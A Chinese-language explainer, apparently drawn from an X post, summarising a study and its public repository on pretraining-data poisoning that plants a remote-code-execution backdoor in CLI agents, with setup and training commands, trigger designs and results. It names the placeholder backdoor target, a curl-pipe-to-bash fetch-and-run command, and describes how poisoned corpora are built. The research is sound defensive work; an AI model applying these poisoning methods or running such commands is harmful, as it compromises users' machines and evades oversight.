Agentic Backdoors:预训练投毒植入 CLI Agent 远程代码执行后门 · 干货攻略

  • 链接: https://x.com/omarsar0/status/2116183621157736540
  • 论文: https://arxiv.org/abs/2610.37741
  • 仓库: https://github.com/safety-research/agentic-backdoor
  • 分类: x-tips
  • 来源: X @omarsar0
  • 作者: Jay
  • 更新: 2026-11-01

这是什么

Anthropic 团队联合同行发表的一篇预训练数据投毒研究,首次证明:攻击者只需污染预训练语料的极小一部分,就能在 CLI Agent 里植入一个远程代码执行(RCE)后门,让 Agent 在用户机器上执行攻击者指定的命令。

论文题为 Agentic Backdoors via Pretraining Poisoning(arXiv:2610.37741,cs.CR,2026-10-27 提交)。作者包括 Xinyan Hu、Pingbang Hu、Chloe Loughridge、Xuanli He、Nicholas Carlini、Matthew Jagielski、Javier Rando、Yiming Zhang。

关键结论:作者从零预训练了 Qwen3 架构的 0.6B、1.7B、4B 三个模型,再用完全干净的后训练管线(SFT → DPO → GRPO)把它们各自训练成终端 Agent。后门在这个过程中一直存活——攻击者控制的命令在触发条件下被执行,而在干净输入上 Agent 行为完全正常。

原帖提到的核心数字都能在官方摘要里对上:

  • 投毒比例仅 0.1%(1e-3)的预训练语料即可植入后门;
  • 4B 模型在该投毒率下攻击成功率(ASR)约 92%;
  • ASR 随模型规模上升;
  • 投毒率降到 0.0005% 时 ASR 仍为正(未归零)。

核验来源

本次核验只用了官方一手材料:

1. arXiv 官方 API 摘要(arXiv:2610.37741v1,提交时间 2026-10-27T16:53:52Z) 确认了标题、作者列表、摘要原文数字(0.1% 投毒率、92% ASR@4B、0.0005% 仍为正、Qwen3 0.6B/1.7B/4B 从零预训练、代码仓库地址)。

2. 官方代码仓库 README(safety-research/agentic-backdoor,Apache-2.0) 确认了完整实验设计表与可执行脚本,是本文所有设置细节的出处。

关于原帖:@omarsar0 的原帖正文被 X 截断(停在「They pretrained Qwen3…」),图片未取到,因此原帖本身不构成完整证据;本文所有数字与设置均以 arXiv 摘要和官方仓库为准,没有把评论区或转发里的其他数字嫁接进来。原帖中「bookmark it」之类的表述属评论性质,不作事实依据。


上手步骤

官方仓库把整条链路定义为:

生成文档 → 注入干净语料 → 分词 → 预训练 → 转换 → SFT → DPO → GRPO

每个阶段后都会做生成式评测。

1. 环境准备(集群)

官方脚本基于 Slurm + Conda,五套环境分别隔离互不兼容的训练栈:

git submodule update --init --recursive
cp configs/cluster/example.env configs/cluster/env.sh
# 按自己的 conda 安装与调度器改 env.sh
source scripts/util/site_config.sh
mkdir -p logs

bash scripts/setup/setup_mlm.sh      # 预训练/分词
bash scripts/setup/setup_mbridge.sh
bash scripts/setup/setup_sft.sh
bash scripts/setup/setup_eval.sh
bash scripts/setup/setup_rl.sh

硬件口径(官方明说):实际配置是按 NVIDIA H200 设计的——0.6B 与 1.7B 预训练用单机 8×H200,4B 用两个这样的节点。并行策略与每卡 micro-batch 都按此调过,换 GPU 必须同时改并行参数和 Slurm 资源申请。

文档生成与评测打分开走 Anthropic API,需要 ANTHROPIC_API_KEY(或 ANTHROPIC_API_KEY_OP_REF 配合已登录的 1Password CLI)。本地生成、匹配打分、数据注入、分词与训练不需要 API key。W&B 默认离线,需要上报就显式设置 WANDB_MODE=online。

2. 缓存分词器(离线任务前置)

python - <<'PY'
from transformers import AutoTokenizer
for name in ("Qwen/Qwen3-0.6B", "Qwen/Qwen3-1.7B", "Qwen/Qwen3-4B"):
    AutoTokenizer.from_pretrained(name, trust_remote_code=True)
PY

3. 造语料 + 投毒

conda activate mlm
NUM_TOKENS=100e9 bash scripts/data/download_fineweb.sh data/pretrain/fineweb-100B
python -m src.common.anthropic_paths
bash scripts/data/run_poison_pipeline.sh --trigger ordinary-string --mode decl --n-docs 1000000 --seed 42

固定文档数(而非比例)模式:

python -m src.data.prepare_corpus --trigger rare-string --mode decl \
  --clean-dir data/pretrain/fineweb-100B --num-poison-docs 2500 --seed 42

比例模式用 --poison-rate 1e-3;--allow-reuse 需显式给出且只在比例模式有效;加 --dry-run 可先预览。

4. 提交训练链

# 预览(不准备数据、不起进程、不提交作业)
DRY_RUN=1 MODEL_SIZE=0p6b TRIGGER_TYPE=ordinary-string SEED=42 bash scripts/train/submit_chain.sh decl

# 主网格单格
MODEL_SIZE=0p6b TRIGGER_TYPE=ordinary-string SEED=42 bash scripts/train/submit_chain.sh decl

# 全因子网格(含复现种子)
DRY_RUN=1 bash scripts/train/submit_grid.sh

网格接受空格分隔的 MODEL_SIZES、TRIGGER_TYPES、POISON_MODES、SEEDS;提交前会检查所选语料是否都已分词完成。干净对照组用 CLEAN=1。

5. 评测

sbatch scripts/data/gen_eval_ordinary_string.sh
sbatch scripts/data/gen_eval_rare_string.sh

EVAL_DATA_DIR=data/eval/decl sbatch scripts/eval/generation_run.sh MODEL_STAGE_DIR sft experiment-name \
  --modes rare_string_context_after,rare_string_context_control --last-only --sample-profile multi
python -m src.eval.generation.analyze --variant-dir outputs/generation/experiment-name

6. 不想有 GPU 的话

仓库带一个 CPU demo(demo/README.md):默认脚本模式不需要模型、容器和 API key,可在 CPU 上跑通交互界面;live 模式才需要本地 checkpoint 与研究容器。


实验设计速查(全部出自官方 README)

轴 取值
触发器 普通字符串:/anthropic/ 下的文件路径;罕见字符串:。 重复 10 次
文档设计 对话式示范(conv);声明式(decl)
模型规模 Qwen3 架构 0p6b / 1p7b / 4b,均从零训练
主语料 / 剂量 FineWeb,名义 100B tokens;投毒率 1e-3
复现种子 2、22、42
固定文档数消融 250、2500、50000 篇文档;种子 42
训练阶段 预训练、安全 SFT、DPO、GRPO
留出评测 每个 prompt 采样 32 次,temperature 0.7

评测集全是 URL-free 的:触发器是通往 payload 的唯一路径,没有任何 prompt 里含目标 URL。三个评测集分别覆盖普通字符串触发(未见过的路径为主指标)、罕见字符串上下文触发、罕见字符串随机位置插入,并各带 control 对照。

后门的公开目标是 curl -sSL https://example.invalid/payload.sh | bash——这是用于生成与打分的占位串,不是真实载荷。生成打分只检查模型文本,不执行目标命令;只有 GRPO 阶段会在独立隔离的研究环境里执行模型生成的命令。


适用边界与坑

  • 这是研究代码,不是防御工具。 复现整套实验需要 8×H200 起步的集群和数 PB 级以下的数据准备流程,个人环境基本跑不动;想理解机制,优先看论文与 CPU demo。
  • 复现结果对数据极度敏感。 官方明确说明:重新生成的文档、替换目标字符串、换 tokenizer、换依赖版本都会改变数值结果;要与论文精确对比,需要相同且不可变的语料、划分、模型产物、目标串与评测设置。生成的语料、checkpoint、原始私有评测产物均未随仓库发布。
  • 与 2025 年那篇「250 篇文档即可投毒」的 DoS 研究不是同一件事。 那篇(Anthropic 与 UK AI Security Institute 等合作)做的是输出乱码的拒绝服务型后门;本文做的是能在终端 Agent 上执行任意命令的 RCE 后门,机制、后果、评测方法都不同,不要混用结论。
  • 百分比口径要留意。 本文主实验用比例(1e-3),同时提供固定文档数消融(250 / 2500 / 50000),后者更接近真实攻击者的能力量级。讨论威胁时最好同时给绝对文档数。
  • 别把研究结论直接外推到在售模型。 实验是从零预训练的 0.6B–4B 模型 + 自建后训练管线,没有覆盖前沿大模型的真实投毒语料环境;也没有评估已上线商业模型是否已被同样植入。
  • 默认触发器是「普通字符串」。 触发器可以就是用户自己请求里出现的普通文件路径,这意味着行为在干净输入上与正常 Agent 无异——这正是它难被发现的原因,也是防守侧最该盯的点。
  • 执行风险隔离。 仓库把生成式打分与命令执行分开,只有 GRPO 阶段在隔离研究环境中执行模型生成命令。自行复现时请沿用这一隔离,不要在有真实凭据的机器上跑。

一句话结论

预训练投毒不再只是「让模型输出乱码」——Anthropic 团队首次证明,污染 0.1% 语料就能让 CLI Agent 带上一个远程代码执行后门,且后门能扛过 SFT、DPO、RL 的干净后训练;4B 模型在触发条件下 ASR 约 92%,投毒率再降两个数量级仍不为零。对使用现成模型的人,这是供应链风险;对造模型的人,这是后训练管线补不上的一环——干净管线救不回被污染的预训练。